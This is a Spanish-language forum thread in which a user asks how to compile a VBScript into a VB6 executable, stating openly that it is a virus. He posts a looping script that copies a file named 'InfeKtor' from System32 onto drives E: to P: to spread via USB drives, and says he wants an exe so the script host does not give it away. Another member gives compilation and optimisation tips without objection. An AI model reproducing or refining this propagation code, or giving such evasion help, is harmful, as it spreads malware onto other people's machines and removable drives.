Autor
|
Tema: Compilar codigo vbs en un exe en VB6 (Leído 5,659 veces)
|
Enemy
Desconectado
Mensajes: 285
Que vuelva el personal de hace 15 años al foro!
|
Hola, me habian comentado con anterioridad lo de compilar el codigo de mi script en el VB6, pero tengo una duda...
Tengo que comenzar un proyecto exe standar o como una dll?
Porque no quiero que tenga ni formularios ni nada, solo que se ejecute, sea un procesos mas, y cumpla con lo programado; cosa que tambien tengo dudas pero no viene al tema , en todo caso mas adelante..
He intentado guardar como exe un ejemplo de reproduccion en los pen-drives o cualquier unidad, es una pavada, si quieren lo posteo. es un ejemplo mediocre pero actualmente esta batante bien.
Gracias de antemano
SALUD.O.S
|
|
|
En línea
|
|
|
|
Novlucker
Ninja y
Colaborador
Desconectado
Mensajes: 10.683
Yo que tu lo pienso dos veces
|
Hola, me habian comentado con anterioridad lo de compilar el codigo de mi script en el VB6 Quién te ha dicho eso? Proyecto exe standard, debes de colocar el código vbs, en la rutina que carga el formulario, y simplemente, pones el formulario como oculto Private Sub Form_Load() 'codigo vbs End Sub
Saludos
|
|
« Última modificación: 3 Octubre 2008, 15:38 pm por Novlucker »
|
En línea
|
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD "Hay dos cosas infinitas: el Universo y la estupidez humana. Y de la primera no estoy muy seguro." Albert Einstein
|
|
|
Enemy
Desconectado
Mensajes: 285
Que vuelva el personal de hace 15 años al foro!
|
Jaja Lo decia por vos.! jaja Justamente, intente tambien con el sub form load y elend sub pero sin embargo sigue sin cumplir sus funciones como virus.. Probre esto y no funciona Do i = i +1 If i = 2 Then On error resume next Set Plaga = CreateObject("Scripting.FileSystemObject") Plaga.CopyFile ".C:\Windows\System32\InfeKtor", "E:\" On error resume next Set Plaga = CreateObject("Scripting.FileSystemObject") Plaga.CopyFile "C:\Windows\System32\InfeKtor", "F:\" On error resume next Set Plaga = CreateObject("Scripting.FileSystemObject") Plaga.CopyFile "C:\Windows\System32\InfeKtor", "G:\" On error resume next Set Plaga = CreateObject("Scripting.FileSystemObject") Plaga.CopyFile "C:\Windows\System32\InfeKtor", "H:\" On error resume next Set Plaga = CreateObject("Scripting.FileSystemObject") Plaga.CopyFile "C:\Windows\System32\InfeKtor", "I:\" On error resume next Set Plaga = CreateObject("Scripting.FileSystemObject") Plaga.CopyFile "C:\Windows\System32\InfeKtor", "J:\" On error resume next Set Plaga = CreateObject("Scripting.FileSystemObject") Plaga.CopyFile "C:\Windows\System32\InfeKtor", "K:\" On error resume next Set Plaga = CreateObject("Scripting.FileSystemObject") Plaga.CopyFile "C:\Windows\System32\InfeKtor", "L:\" On error resume next Set Plaga = CreateObject("Scripting.FileSystemObject") Plaga.CopyFile "C:\Windows\System32\InfeKtor", "M:\" On error resume next Set Plaga = CreateObject("Scripting.FileSystemObject") Plaga.CopyFile "C:\Windows\System32\InfeKtor", "N:\" On error resume next Set Plaga = CreateObject("Scripting.FileSystemObject") Plaga.CopyFile "C:\Windows\System32\InfeKtor", "O:\" On error resume next Set Plaga = CreateObject("Scripting.FileSystemObject") Plaga.CopyFile "C:\Windows\System32\InfeKtor", "P:\" i=0 End If Loop es basico, actualmente esta bastante modificado.. SALUD.O.S
|
|
|
En línea
|
|
|
|
Novlucker
Ninja y
Colaborador
Desconectado
Mensajes: 10.683
Yo que tu lo pienso dos veces
|
No veo que haya un error que impida que se ejecute bien, has probado solamente con el vbs, sin compilar Lo que si veo es: 1) Con crear el objeto fso una sola vez, alcanza 2) Con poner una sola vez on error resume next, alcanza 3) Hay mejores métodos de detectar las unidades extraíbles Te recomiendo leer este excelente tuto de vbscript TUTORIAL vbscript<---click Si es lo que has leído para aprender, vamos por mal camino Saludos
|
|
|
En línea
|
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD "Hay dos cosas infinitas: el Universo y la estupidez humana. Y de la primera no estoy muy seguro." Albert Einstein
|
|
|
Enemy
Desconectado
Mensajes: 285
Que vuelva el personal de hace 15 años al foro!
|
.. Se que voy bien... He inten... como exe un ejemplo de reproduccion en los pen-drives o cualquier unidad, es una pavada, si quieren lo posteo. es un ejemplo mediocre pero actualmente esta bastante bien. Ese ejemplo estaba en mi pendrive, mi virus tambien lo tiene pero de la manera mas correcta , El proyecto esta en mi casa. Gracias por el manual, todo es bienvenido; pero esa es la unica forma de reproduccion que se me ocurre. que se copie asi mismo constantemente en todas las unidades. Mas tarde o mañana te subo el codigo completo, para que me ayudes listo man? Es que no tengo internet y estoy en la escuela; uso el internet de la escula o voy a la casa de una amiga, por eso tardo en resp. SALUD.O.S
|
|
|
En línea
|
|
|
|
Enemy
Desconectado
Mensajes: 285
Que vuelva el personal de hace 15 años al foro!
|
Ha y con respecto a ejecutarlo en forma de Script (VBS) Preferiria tenerlo en EXE ya que el proceso de WSH es muy delator Y de ahi inyectarlo me entiendes? SALUD.O.S
|
|
|
En línea
|
|
|
|
|
|